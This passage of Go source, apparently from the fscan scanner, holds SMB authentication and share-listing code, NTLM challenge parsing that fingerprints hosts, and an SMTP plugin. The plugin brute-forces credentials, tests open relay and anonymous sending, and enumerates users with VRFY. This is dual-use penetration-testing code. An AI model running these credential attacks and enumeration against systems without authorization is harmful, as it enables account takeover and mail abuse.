Error: fmt.Errorf("连接超时"),
|
||||
}, nil
|
||||
case <-ctx.Done():
|
||||
go func() {
|
||||
result := <-resultChan
|
||||
if result != nil && result.Conn != nil {
|
||||
_ = result.Conn.Close()
|
||||
}
|
||||
}()
|
||||
return &AuthResult{
|
||||
Success: false,
|
||||
ErrorType: ErrorTypeNetwork,
|
||||
Error: ctx.Err(),
|
||||
}, nil
|
||||
}
|
||||
}
|
||||
|
||||
// ListShares 列举SMB共享(SMB1使用SMB2库列举)
|
||||
func (a *SMB1Authenticator) ListShares(ctx context.Context, host string, port int, cred Credential, domain string, timeout time.Duration) ([]string, error) {
|
||||
return listSMBSharesInternal(host, port, cred, domain, timeout)
|
||||
}
|
||||
|
||||
// SMB2Authenticator SMB2认证器
|
||||
type SMB2Authenticator struct{}
|
||||
|
||||
// Authenticate 执行SMB2认证
|
||||
func (a *SMB2Authenticator) Authenticate(ctx context.Context, host string, port int, cred Credential, domain string, timeout time.Duration) (*AuthResult, error) {
|
||||
timeoutCtx, cancel := context.WithTimeout(ctx, timeout)
|
||||
defer cancel()
|
||||
|
||||
conn, err := common.WrapperTcpWithTimeout("tcp", fmt.Sprintf("%s:%d", host, port), timeout)
|
||||
if err != nil {
|
||||
return &AuthResult{
|
||||
Success: false,
|
||||
ErrorType: classifySMBError(err),
|
||||
Error: err,
|
||||
}, nil
|
||||
}
|
||||
|
||||
d := &smb2.Dialer{
|
||||
Initiator: &smb2.NTLMInitiator{
|
||||
User: cred.Username,
|
||||
Password: cred.Password,
|
||||
Domain: domain,
|
||||
},
|
||||
}
|
||||
|
||||
s, err := d.DialContext(timeoutCtx, conn)
|
||||
if err != nil {
|
||||
_ = conn.Close()
|
||||
return &AuthResult{
|
||||
Success: false,
|
||||
ErrorType: classifySMBError(err),
|
||||
Error: fmt.Errorf("SMB2认证失败: %w", err),
|
||||
}, nil
|
||||
}
|
||||
|
||||
// 尝试列举共享来验证认证成功
|
||||
_, _ = s.ListSharenames()
|
||||
|
||||
return &AuthResult{
|
||||
Success: true,
|
||||
Conn: &smb2SessionWrapper{s, conn},
|
||||
ErrorType: ErrorTypeUnknown,
|
||||
Error: nil,
|
||||
}, nil
|
||||
}
|
||||
|
||||
// ListShares 列举SMB2共享
|
||||
func (a *SMB2Authenticator) ListShares(ctx context.Context, host string, port int, cred Credential, domain string, timeout time.Duration) ([]string, error) {
|
||||
return listSMBSharesInternal(host, port, cred, domain, timeout)
|
||||
}
|
||||
|
||||
// listSMBSharesInternal 内部共享列举实现
|
||||
func listSMBSharesInternal(host string, port int, cred Credential, domain string, timeout time.Duration) ([]string, error) {
|
||||
target := net.JoinHostPort(host, strconv.Itoa(port))
|
||||
|
||||
conn, err := net.DialTimeout("tcp", target, timeout*2)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
defer func() { _ = conn.Close() }()
|
||||
|
||||
d := &smb2.Dialer{
|
||||
Initiator: &smb2.NTLMInitiator{
|
||||
User: cred.Username,
|
||||
Password: cred.Password,
|
||||
Domain: domain,
|
||||
},
|
||||
}
|
||||
|
||||
s, err := d.Dial(conn)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
defer func() { _ = s.Logoff() }()
|
||||
|
||||
shares, err := s.ListSharenames()
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
var shareInfo []string
|
||||
systemShares := map[string]bool{
|
||||
"ADMIN$": true,
|
||||
"C$": true,
|
||||
"IPC$": true,
|
||||
}
|
||||
|
||||
for _, shareName := range shares {
|
||||
if systemShares[shareName] {
|
||||
continue
|
||||
}
|
||||
|
||||
fs, err := s.Mount(shareName)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
|
||||
fileCount := 0
|
||||
maxFiles := 10
|
||||
_ = iofs.WalkDir(fs.DirFS("."), ".", func(path string, d iofs.DirEntry, err error) error {
|
||||
if err != nil {
|
||||
return nil
|
||||
}
|
||||
|
||||
if path != "." && fileCount < maxFiles {
|
||||
shareInfo = append(shareInfo, fmt.Sprintf(" [->] [%s] %s", shareName, path))
|
||||
fileCount++
|
||||
}
|
||||
|
||||
if fileCount >= maxFiles {
|
||||
return iofs.SkipDir
|
||||
}
|
||||
|
||||
return nil
|
||||
})
|
||||
|
||||
_ = fs.Umount()
|
||||
}
|
||||
|
||||
return shareInfo, nil
|
||||
}
|
||||
|
||||
// smb1SessionWrapper 包装SMB1会话以实现io.Closer
|
||||
type smb1SessionWrapper struct {
|
||||
session *smb.Session
|
||||
}
|
||||
|
||||
func (w *smb1SessionWrapper) Close() error {
|
||||
w.session.Close()
|
||||
return nil
|
||||
}
|
||||
|
||||
// smb2SessionWrapper 包装SMB2会话以实现io.Closer
|
||||
type smb2SessionWrapper struct {
|
||||
session *smb2.Session
|
||||
conn io.Closer
|
||||
}
|
||||
|
||||
func (w *smb2SessionWrapper) Close() error {
|
||||
_ = w.session.Logoff()
|
||||
return w.conn.Close()
|
||||
}
|
||||
|
||||
// classifySMBError 统一SMB错误分类
|
||||
func classifySMBError(err error) ErrorType {
|
||||
if err == nil {
|
||||
return ErrorTypeUnknown
|
||||
}
|
||||
|
||||
smbAuthErrors := []string{
|
||||
// 通用认证错误
|
||||
"invalid username",
|
||||
"invalid password",
|
||||
"authentication failed",
|
||||
"logon failed",
|
||||
"logon failure",
|
||||
"access denied",
|
||||
"permission denied",
|
||||
"unauthorized",
|
||||
"login failed",
|
||||
"bad username",
|
||||
"bad password",
|
||||
"wrong password",
|
||||
"incorrect password",
|
||||
"invalid credentials",
|
||||
"bad credentials",
|
||||
"authentication error",
|
||||
"auth failed",
|
||||
"login denied",
|
||||
"credential",
|
||||
"user not found",
|
||||
"invalid account",
|
||||
"account locked",
|
||||
"account disabled",
|
||||
"password expired",
|
||||
// SMB特定错误
|
||||
"smb: authentication failed",
|
||||
"smb: invalid user",
|
||||
"smb: invalid password",
|
||||
"smb: access denied",
|
||||
"smb: logon failure",
|
||||
"smb: bad password",
|
||||
"smb: user unknown",
|
||||
"smb: wrong password",
|
||||
"smb: login failed",
|
||||
"smb: unauthorized",
|
||||
"smb2认证失败",
|
||||
"ntlm authentication failed",
|
||||
"ntlm auth failed",
|
||||
// NT Status codes
|
||||
"nt_status_logon_failure",
|
||||
"nt_status_wrong_password",
|
||||
"nt_status_no_such_user",
|
||||
"nt_status_access_denied",
|
||||
"nt_status_account_disabled",
|
||||
"nt_status_account_locked_out",
|
||||
"nt_status_password_expired",
|
||||
"status_logon_failure",
|
||||
"status_wrong_password",
|
||||
"status_access_denied",
|
||||
"status_invalid_parameter",
|
||||
"status_no_such_user",
|
||||
"status_account_locked_out",
|
||||
"status_password_expired",
|
||||
"status_account_disabled",
|
||||
// 十六进制状态码
|
||||
"0xc000006d",
|
||||
"0xc0000022",
|
||||
"0xc000006a",
|
||||
"0xc0000064",
|
||||
"0xc0000234",
|
||||
}
|
||||
|
||||
return ClassifyError(err, smbAuthErrors, CommonNetworkErrors)
|
||||
}
|
||||
|
||||
// readSMBMessage 从连接读取NetBIOS消息
|
||||
func readSMBMessage(conn net.Conn) ([]byte, error) {
|
||||
headerBuf := make([]byte, 4)
|
||||
n, err := conn.Read(headerBuf)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if n != 4 {
|
||||
return nil, fmt.Errorf("NetBIOS头部长度不足: %d", n)
|
||||
}
|
||||
|
||||
messageLength := int(headerBuf[0])<<24 | int(headerBuf[1])<<16 | int(headerBuf[2])<<8 | int(headerBuf[3])
|
||||
|
||||
if messageLength > 1024*1024 {
|
||||
return nil, fmt.Errorf("消息长度过大: %d", messageLength)
|
||||
}
|
||||
|
||||
if messageLength == 0 {
|
||||
return headerBuf, nil
|
||||
}
|
||||
|
||||
messageBuf := make([]byte, messageLength)
|
||||
totalRead := 0
|
||||
for totalRead < messageLength {
|
||||
n, err := conn.Read(messageBuf[totalRead:])
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
totalRead += n
|
||||
}
|
||||
|
||||
result := make([]byte, 0, 4+messageLength)
|
||||
result = append(result, headerBuf...)
|
||||
result = append(result, messageBuf...)
|
||||
|
||||
return result, nil
|
||||
}
|
||||
|
||||
// parseNTLMChallenge 解析NTLM Challenge消息
|
||||
func parseNTLMChallenge(data []byte, info *SMBTarget) {
|
||||
if len(data) < 32 {
|
||||
return
|
||||
}
|
||||
|
||||
if !bytes.Equal(data[0:8], []byte("NTLMSSP\x00")) {
|
||||
return
|
||||
}
|
||||
|
||||
if len(data) < 12 {
|
||||
return
|
||||
}
|
||||
messageType := bytesToUint32(data[8:12])
|
||||
if messageType != 2 {
|
||||
return
|
||||
}
|
||||
|
||||
// 解析Target Name
|
||||
if len(data) >= 20 {
|
||||
targetLength := bytesToUint16(data[12:14])
|
||||
targetOffset := bytesToUint32(data[16:20])
|
||||
|
||||
if targetLength > 0 && int(targetOffset) < len(data) && int(targetOffset+uint32(targetLength)) <= len(data) {
|
||||
targetName := parseUnicodeString(data[targetOffset : targetOffset+uint32(targetLength)])
|
||||
if targetName != "" {
|
||||
info.DomainName = targetName
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// 解析Flags
|
||||
if len(data) >= 24 {
|
||||
flags := bytesToUint32(data[20:24])
|
||||
info.NTLMFlags = parseNTLMFlags(flags)
|
||||
}
|
||||
|
||||
// 解析Target Info (AV_PAIR结构)
|
||||
if len(data) >= 52 {
|
||||
targetInfoLength := bytesToUint16(data[40:42])
|
||||
targetInfoOffset := bytesToUint32(data[44:48])
|
||||
|
||||
if targetInfoLength > 0 && int(targetInfoOffset) < len(data) &&
|
||||
int(targetInfoOffset+uint32(targetInfoLength)) <= len(data) {
|
||||
targetInfoData := data[targetInfoOffset : targetInfoOffset+uint32(targetInfoLength)]
|
||||
parseTargetInfo(targetInfoData, info)
|
||||
}
|
||||
}
|
||||
|
||||
// 解析OS版本信息
|
||||
if len(data) >= 56 {
|
||||
flags := bytesToUint32(data[20:24])
|
||||
if flags&0x02000000 != 0 && len(data) >= 56 {
|
||||
parseOSVersion(data[48:56], info)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// parseTargetInfo 解析Target Information
|
||||
func parseTargetInfo(data []byte, info *SMBTarget) {
|
||||
offset := 0
|
||||
|
||||
for offset+4 <= len(data) {
|
||||
avId := bytesToUint16(data[offset : offset+2])
|
||||
avLen := bytesToUint16(data[offset+2 : offset+4])
|
||||
|
||||
if avId == 0x0000 {
|
||||
break
|
||||
}
|
||||
|
||||
if offset+4+int(avLen) > len(data) {
|
||||
break
|
||||
}
|
||||
|
||||
value := data[offset+4 : offset+4+int(avLen)]
|
||||
|
||||
switch avId {
|
||||
case 0x0001: // MsvAvNbComputerName
|
||||
computerName := parseUnicodeString(value)
|
||||
if computerName != "" {
|
||||
info.ComputerName = computerName
|
||||
}
|
||||
case 0x0002: // MsvAvNbDomainName
|
||||
if info.DomainName == "" {
|
||||
domainName := parseUnicodeString(value)
|
||||
if domainName != "" {
|
||||
info.DomainName = domainName
|
||||
}
|
||||
}
|
||||
case 0x0003: // MsvAvDnsComputerName
|
||||
if info.ComputerName == "" {
|
||||
dnsComputerName := parseUnicodeString(value)
|
||||
if dnsComputerName != "" {
|
||||
info.ComputerName = dnsComputerName
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
offset += 4 + int(avLen)
|
||||
}
|
||||
}
|
||||
|
||||
// parseOSVersion 解析操作系统版本
|
||||
func parseOSVersion(data []byte, info *SMBTarget) {
|
||||
if len(data) < 8 {
|
||||
return
|
||||
}
|
||||
|
||||
majorVersion := data[0]
|
||||
minorVersion := data[1]
|
||||
buildNumber := bytesToUint16(data[2:4])
|
||||
|
||||
var osName string
|
||||
switch {
|
||||
case majorVersion == 10 && minorVersion == 0:
|
||||
if buildNumber >= 22000 {
|
||||
osName = "Windows 11"
|
||||
} else {
|
||||
osName = "Windows 10"
|
||||
}
|
||||
case majorVersion == 6 && minorVersion == 3:
|
||||
osName = "Windows 8.1/Server 2012 R2"
|
||||
case majorVersion == 6 && minorVersion == 2:
|
||||
osName = "Windows 8/Server 2012"
|
||||
case majorVersion == 6 && minorVersion == 1:
|
||||
osName = "Windows 7/Server 2008 R2"
|
||||
case majorVersion == 6 && minorVersion == 0:
|
||||
osName = "Windows Vista/Server 2008"
|
||||
case majorVersion == 5 && minorVersion == 2:
|
||||
osName = "Windows XP x64/Server 2003"
|
||||
case majorVersion == 5 && minorVersion == 1:
|
||||
osName = "Windows XP"
|
||||
case majorVersion == 5 && minorVersion == 0:
|
||||
osName = "Windows 2000"
|
||||
default:
|
||||
osName = fmt.Sprintf("Windows %d.%d", majorVersion, minorVersion)
|
||||
}
|
||||
|
||||
info.OSVersion = fmt.Sprintf("%s (Build %d)", osName, buildNumber)
|
||||
}
|
||||
|
||||
// 辅助函数
|
||||
func bytesToUint16(b []byte) uint16 {
|
||||
if len(b) < 2 {
|
||||
return 0
|
||||
}
|
||||
return uint16(b[0]) | uint16(b[1])<<8
|
||||
}
|
||||
|
||||
func bytesToUint32(b []byte) uint32 {
|
||||
if len(b) < 4 {
|
||||
return 0
|
||||
}
|
||||
return uint32(b[0]) | uint32(b[1])<<8 | uint32(b[2])<<16 | uint32(b[3])<<24
|
||||
}
|
||||
|
||||
func trimSMBString(s string) string {
|
||||
return strings.Trim(strings.TrimSpace(s), "\x00")
|
||||
}
|
||||
|
||||
func parseUnicodeString(data []byte) string {
|
||||
if len(data)%2 != 0 {
|
||||
return ""
|
||||
}
|
||||
|
||||
var runes []rune
|
||||
for i := 0; i < len(data); i += 2 {
|
||||
if i+1 >= len(data) {
|
||||
break
|
||||
}
|
||||
r := uint16(data[i]) | uint16(data[i+1])<<8
|
||||
if r == 0 {
|
||||
break
|
||||
}
|
||||
runes = append(runes, rune(r))
|
||||
}
|
||||
return string(runes)
|
||||
}
|
||||
|
||||
func parseNTLMFlags(flags uint32) []string {
|
||||
flagNames := map[uint32]string{
|
||||
0x00000001: "NEGOTIATE_UNICODE",
|
||||
0x00000002: "NEGOTIATE_OEM",
|
||||
0x00000004: "REQUEST_TARGET",
|
||||
0x00000010: "NEGOTIATE_SIGN",
|
||||
0x00000020: "NEGOTIATE_SEAL",
|
||||
0x00000200: "NEGOTIATE_NTLM",
|
||||
0x00080000: "NEGOTIATE_EXTENDED_SESSIONSECURITY",
|
||||
0x02000000: "NEGOTIATE_VERSION",
|
||||
0x20000000: "NEGOTIATE_128",
|
||||
0x80000000: "NEGOTIATE_56",
|
||||
}
|
||||
|
||||
var activeFlags []string
|
||||
for flag, name := range flagNames {
|
||||
if flags&flag != 0 {
|
||||
activeFlags = append(activeFlags, name)
|
||||
}
|
||||
}
|
||||
|
||||
return activeFlags
|
||||
}
|
||||
|
||||
func buildNTLMSSPData(flags []byte) []byte {
|
||||
return []byte{
|
||||
0x00, 0x00, 0x00, 0x9A, 0xFE, 0x53, 0x4D, 0x42, 0x40, 0x00,
|
||||
0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x19, 0x00,
|
||||
0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x58, 0x00, 0x42, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x60, 0x40, 0x06, 0x06, 0x2B, 0x06, 0x01, 0x05,
|
||||
0x05, 0x02, 0xA0, 0x36, 0x30, 0x34, 0xA0, 0x0E, 0x30, 0x0C,
|
||||
0x06, 0x0A, 0x2B, 0x06, 0x01, 0x04, 0x01, 0x82, 0x37, 0x02,
|
||||
0x02, 0x0A, 0xA2, 0x22, 0x04, 0x20, 0x4E, 0x54, 0x4C, 0x4D,
|
||||
0x53, 0x53, 0x50, 0x00, 0x01, 0x00, 0x00, 0x00,
|
||||
flags[0], flags[1], flags[2], flags[3],
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,569 @@
|
||||
//go:build plugin_smtp || !plugin_selective
|
||||
|
||||
package services
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"net/smtp"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
"github.com/shadow1ng/fscan/common/i18n"
|
||||
"github.com/shadow1ng/fscan/plugins"
|
||||
)
|
||||
|
||||
// SMTPPlugin SMTP扫描插件
|
||||
type SMTPPlugin struct {
|
||||
plugins.BasePlugin
|
||||
}
|
||||
|
||||
func NewSMTPPlugin() *SMTPPlugin {
|
||||
return &SMTPPlugin{
|
||||
BasePlugin: plugins.NewBasePlugin("smtp"),
|
||||
}
|
||||
}
|
||||
|
||||
func (p *SMTPPlugin) Scan(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult {
|
||||
target := info.Target()
|
||||
|
||||
if config.DisableBrute {
|
||||
return p.identifyService(ctx, info, config, state)
|
||||
}
|
||||
|
||||
// 检测未授权访问
|
||||
if result := p.testUnauthorizedAccess(ctx, info, config, state); result != nil && result.Success {
|
||||
common.LogSuccess(i18n.Tr("smtp_service", target, result.Banner))
|
||||
return result
|
||||
}
|
||||
|
||||
// 生成密码字典
|
||||
credentials := plugins.GenerateCredentials("smtp", config)
|
||||
if len(credentials) == 0 {
|
||||
return &ScanResult{
|
||||
Success: false,
|
||||
Service: "smtp",
|
||||
Error: fmt.Errorf("没有可用的测试凭据"),
|
||||
}
|
||||
}
|
||||
|
||||
// 转换凭据类型
|
||||
creds := make([]Credential, len(credentials))
|
||||
for i, c := range credentials {
|
||||
creds[i] = Credential{Username: c.Username, Password: c.Password}
|
||||
}
|
||||
|
||||
// 使用公共框架进行并发凭据测试
|
||||
authFn := p.createAuthFunc(info, config, state)
|
||||
testConfig := DefaultConcurrentTestConfig(config)
|
||||
|
||||
result := TestCredentialsConcurrently(ctx, creds, authFn, "smtp", testConfig)
|
||||
|
||||
if result.Success {
|
||||
common.LogSuccess(i18n.Tr("smtp_credential", target, result.Username, result.Password))
|
||||
}
|
||||
|
||||
return result
|
||||
}
|
||||
|
||||
// createAuthFunc 创建SMTP认证函数
|
||||
func (p *SMTPPlugin) createAuthFunc(info *common.HostInfo, config *common.Config, state *common.State) AuthFunc {
|
||||
return func(ctx context.Context, cred Credential) *AuthResult {
|
||||
return p.doSMTPAuth(ctx, info, cred, config, state)
|
||||
}
|
||||
}
|
||||
|
||||
// doSMTPAuth 执行SMTP认证
|
||||
func (p *SMTPPlugin) doSMTPAuth(ctx context.Context, info *common.HostInfo, cred Credential, config *common.Config, state *common.State) *AuthResult {
|
||||
target := info.Target()
|
||||
timeout := config.Timeout
|
||||
|
||||
resultChan := make(chan *AuthResult, 1)
|
||||
|
||||
go func() {
|
||||
conn, err := common.WrapperTcpWithTimeout("tcp", target, timeout)
|
||||
if err != nil {
|
||||
state.IncrementTCPFailedPacketCount()
|
||||
resultChan <- &AuthResult{
|
||||
Success: false,
|
||||
ErrorType: classifySMTPErrorType(err),
|
||||
Error: err,
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
_ = conn.SetDeadline(time.Now().Add(timeout))
|
||||
|
||||
client, err := smtp.NewClient(conn, info.Host)
|
||||
if err != nil {
|
||||
_ = conn.Close()
|
||||
state.IncrementTCPFailedPacketCount()
|
||||
resultChan <- &AuthResult{
|
||||
Success: false,
|
||||
ErrorType: classifySMTPErrorType(err),
|
||||
Error: err,
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
if cred.Username != "" {
|
||||
auth := smtp.PlainAuth("", cred.Username, cred.Password, info.Host)
|
||||
if err := client.Auth(auth); err != nil {
|
||||
_ = client.Close()
|
||||
state.IncrementTCPFailedPacketCount()
|
||||
resultChan <- &AuthResult{
|
||||
Success: false,
|
||||
ErrorType: classifySMTPErrorType(err),
|
||||
Error: err,
|
||||
}
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
if err := client.Mail("[email protected]"); err != nil {
|
||||
_ = client.Close()
|
||||
state.IncrementTCPFailedPacketCount()
|
||||
resultChan <- &AuthResult{
|
||||
Success: false,
|
||||
ErrorType: classifySMTPErrorType(err),
|
||||
Error: err,
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
state.IncrementTCPSuccessPacketCount()
|
||||
resultChan <- &AuthResult{
|
||||
Success: true,
|
||||
Conn: &smtpClientWrapper{client},
|
||||
ErrorType: ErrorTypeUnknown,
|
||||
Error: nil,
|
||||
}
|
||||
}()
|
||||
|
||||
select {
|
||||
case result := <-resultChan:
|
||||
return result
|
||||
case <-ctx.Done():
|
||||
// context 被取消,启动清理协程等待并关闭可能创建的连接
|
||||
go func() {
|
||||
result := <-resultChan
|
||||
if result != nil && result.Conn != nil {
|
||||
_ = result.Conn.Close()
|
||||
}
|
||||
}()
|
||||
return &AuthResult{
|
||||
Success: false,
|
||||
ErrorType: ErrorTypeNetwork,
|
||||
Error: ctx.Err(),
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// smtpClientWrapper 包装SMTP客户端以实现io.Closer
|
||||
type smtpClientWrapper struct {
|
||||
client *smtp.Client
|
||||
}
|
||||
|
||||
func (w *smtpClientWrapper) Close() error {
|
||||
return w.client.Close()
|
||||
}
|
||||
|
||||
// classifySMTPErrorType SMTP错误分类
|
||||
func classifySMTPErrorType(err error) ErrorType {
|
||||
if err == nil {
|
||||
return ErrorTypeUnknown
|
||||
}
|
||||
|
||||
smtpAuthErrors := []string{
|
||||
"authentication failed",
|
||||
"authentication failure",
|
||||
"auth failed",
|
||||
"login failed",
|
||||
"invalid credentials",
|
||||
"invalid username or password",
|
||||
"username or password incorrect",
|
||||
"password incorrect",
|
||||
"access denied",
|
||||
"permission denied",
|
||||
"unauthorized",
|
||||
"not authorized",
|
||||
"authentication required",
|
||||
"535 authentication failed",
|
||||
"535 incorrect authentication",
|
||||
"535 invalid credentials",
|
||||
"535 authentication credentials invalid",
|
||||
"534 authentication mechanism is too weak",
|
||||
"530 authentication required",
|
||||
"530 must authenticate",
|
||||
"451 authentication aborted",
|
||||
"bad username or password",
|
||||
"invalid user",
|
||||
"user unknown",
|
||||
"mailbox unavailable",
|
||||
"relay access denied",
|
||||
"relay not permitted",
|
||||
}
|
||||
|
||||
return ClassifyError(err, smtpAuthErrors, CommonNetworkErrors)
|
||||
}
|
||||
|
||||
// testUnauthorizedAccess 测试SMTP未授权访问
|
||||
func (p *SMTPPlugin) testUnauthorizedAccess(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult {
|
||||
// 测试匿名访问
|
||||
if result := p.testAnonymousAccess(ctx, info, config, state); result != nil {
|
||||
return result
|
||||
}
|
||||
|
||||
// 测试开放中继
|
||||
if result := p.testOpenRelay(ctx, info, config, state); result != nil {
|
||||
return result
|
||||
}
|
||||
|
||||
// 测试VRFY命令
|
||||
if result := p.testVRFYCommand(ctx, info, config, state); result != nil {
|
||||
return result
|
||||
}
|
||||
|
||||
// 测试EXPN命令
|
||||
if result := p.testEXPNCommand(ctx, info, config, state); result != nil {
|
||||
return result
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
// testAnonymousAccess 测试匿名邮件发送
|
||||
func (p *SMTPPlugin) testAnonymousAccess(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult {
|
||||
target := info.Target()
|
||||
|
||||
resultChan := make(chan *ScanResult, 1)
|
||||
|
||||
go func() {
|
||||
conn, err := common.WrapperTcpWithTimeout("tcp", target, config.Timeout)
|
||||
if err != nil {
|
||||
state.IncrementTCPFailedPacketCount()
|
||||
resultChan <- nil
|
||||
return
|
||||
}
|
||||
defer func() { _ = conn.Close() }()
|
||||
|
||||
client, err := smtp.NewClient(conn, info.Host)
|
||||
if err != nil {
|
||||
resultChan <- nil
|
||||
return
|
||||
}
|
||||
defer func() { _ = client.Quit() }()
|
||||
|
||||
if err := client.Hello("fscan.test"); err != nil {
|
||||
resultChan <- nil
|
||||
return
|
||||
}
|
||||
|
||||
if err := client.Mail("[email protected]"); err != nil {
|
||||
resultChan <- nil
|
||||
return
|
||||
}
|
||||
|
||||
if err := client.Rcpt("[email protected]"); err != nil {
|
||||
resultChan <- nil
|
||||
return
|
||||
}
|
||||
|
||||
state.IncrementTCPSuccessPacketCount()
|
||||
resultChan <- &ScanResult{
|
||||
Success: true,
|
||||
Type: plugins.ResultTypeVuln,
|
||||
Service: "smtp",
|
||||
Banner: "未授权访问 - 允许匿名邮件发送",
|
||||
}
|
||||
}()
|
||||
|
||||
select {
|
||||
case result := <-resultChan:
|
||||
return result
|
||||
case <-ctx.Done():
|
||||
return nil
|
||||
}
|
||||
}
|
||||
|
||||
// testOpenRelay 测试开放中继
|
||||
func (p *SMTPPlugin) testOpenRelay(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult {
|
||||
target := info.Target()
|
||||
|
||||
resultChan := make(chan *ScanResult, 1)
|
||||
|
||||
go func() {
|
||||
conn, err := common.WrapperTcpWithTimeout("tcp", target, config.Timeout)
|
||||
if err != nil {
|
||||
state.IncrementTCPFailedPacketCount()
|
||||
resultChan <- nil
|
||||
return
|
||||
}
|
||||
defer func() { _ = conn.Close() }()
|
||||
|
||||
client, err := smtp.NewClient(conn, info.Host)
|
||||
if err != nil {
|
||||
resultChan <- nil
|
||||
return
|
||||
}
|
||||
defer func() { _ = client.Quit() }()
|
||||
|
||||
if err := client.Hello("fscan.test"); err != nil {
|
||||
resultChan <- nil
|
||||
return
|
||||
}
|
||||
|
||||
if err := client.Mail("[email protected]"); err != nil {
|
||||
resultChan <- nil
|
||||
return
|
||||
}
|
||||
|
||||
if err := client.Rcpt("[email protected]"); err != nil {
|
||||
resultChan <- nil
|
||||
return
|
||||
}
|
||||
|
||||
state.IncrementTCPSuccessPacketCount()
|
||||
resultChan <- &ScanResult{
|
||||
Success: true,
|
||||
Type: plugins.ResultTypeVuln,
|
||||
Service: "smtp",
|
||||
Banner: "未授权访问 - 开放中继",
|
||||
}
|
||||
}()
|
||||
|
||||
select {
|
||||
case result := <-resultChan:
|
||||
return result
|
||||
case <-ctx.Done():
|
||||
return nil
|
||||
}
|
||||
}
|
||||
|
||||
// testVRFYCommand 测试VRFY命令用户枚举
|
||||
func (p *SMTPPlugin) testVRFYCommand(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult {
|
||||
target := info.Target()
|
||||
|
||||
resultChan := make(chan *ScanResult, 1)
|
||||
|
||||
go func() {
|
||||
conn, err := common.WrapperTcpWithTimeout("tcp", target, config.Timeout)
|
||||
if err != nil {
|
||||
state.IncrementTCPFailedPacketCount()
|
||||
resultChan <- nil
|
||||
return
|
||||
}
|
||||
defer func() { _ = conn.Close() }()
|
||||
|
||||
_ = conn.SetDeadline(time.Now().Add(config.Timeout))
|
||||
|
||||
if _, heloWriteErr := fmt.Fprintf(conn, "HELO fscan.test\r\n"); heloWriteErr != nil {
|
||||
resultChan <- nil
|
||||
return
|
||||
}
|
||||
|
||||
buffer := make([]byte, 1024)
|
||||
n, err := conn.Read(buffer)
|
||||
if err != nil {
|
||||
resultChan <- nil
|
||||
return
|
||||
}
|
||||
response := string(buffer[:n])
|
||||
|
||||
if !strings.HasPrefix(response, "250") {
|
||||
resultChan <- nil
|
||||
return
|
||||
}
|
||||
|
||||
testUsers := []string{"admin", "root", "test", "user", "postmaster", "administrator"}
|
||||
|
||||
for _, user := range testUsers {
|
||||
if _, err := fmt.Fprintf(conn, "VRFY %s\r\n", user); err != nil {
|
||||
continue
|
||||
}
|
||||
|
||||
n, err := conn.Read(buffer)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
|
||||
vrfyResponse := strings.TrimSpace(string(buffer[:n]))
|
||||
|
||||
if strings.HasPrefix(vrfyResponse, "250") {
|
||||
state.IncrementTCPSuccessPacketCount()
|
||||
resultChan <- &ScanResult{
|
||||
Success: true,
|
||||
Type: plugins.ResultTypeVuln,
|
||||
Service: "smtp",
|
||||
Banner: fmt.Sprintf("未授权访问 - VRFY命令枚举用户(%s)", user),
|
||||
}
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
resultChan <- nil
|
||||
}()
|
||||
|
||||
select {
|
||||
case result := <-resultChan:
|
||||
return result
|
||||
case <-ctx.Done():
|
||||
return nil
|
||||
}
|
||||
}
|
||||
|
||||
// testEXPNCommand 测试EXPN命令邮件列表枚举
|
||||
func (p *SMTPPlugin) testEXPNCommand(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult {
|
||||
target := info.Target()
|
||||
|
||||
resultChan := make(chan *ScanResult, 1)
|
||||
|
||||
go func() {
|
||||
conn, err := common.WrapperTcpWithTimeout("tcp", target, config.Timeout)
|
||||
if err != nil {
|
||||
state.IncrementTCPFailedPacketCount()
|
||||
resultChan <- nil
|
||||
return
|
||||
}
|
||||
defer func() { _ = conn.Close() }()
|
||||
|
||||
_ = conn.SetDeadline(time.Now().Add(config.Timeout))
|
||||
|
||||
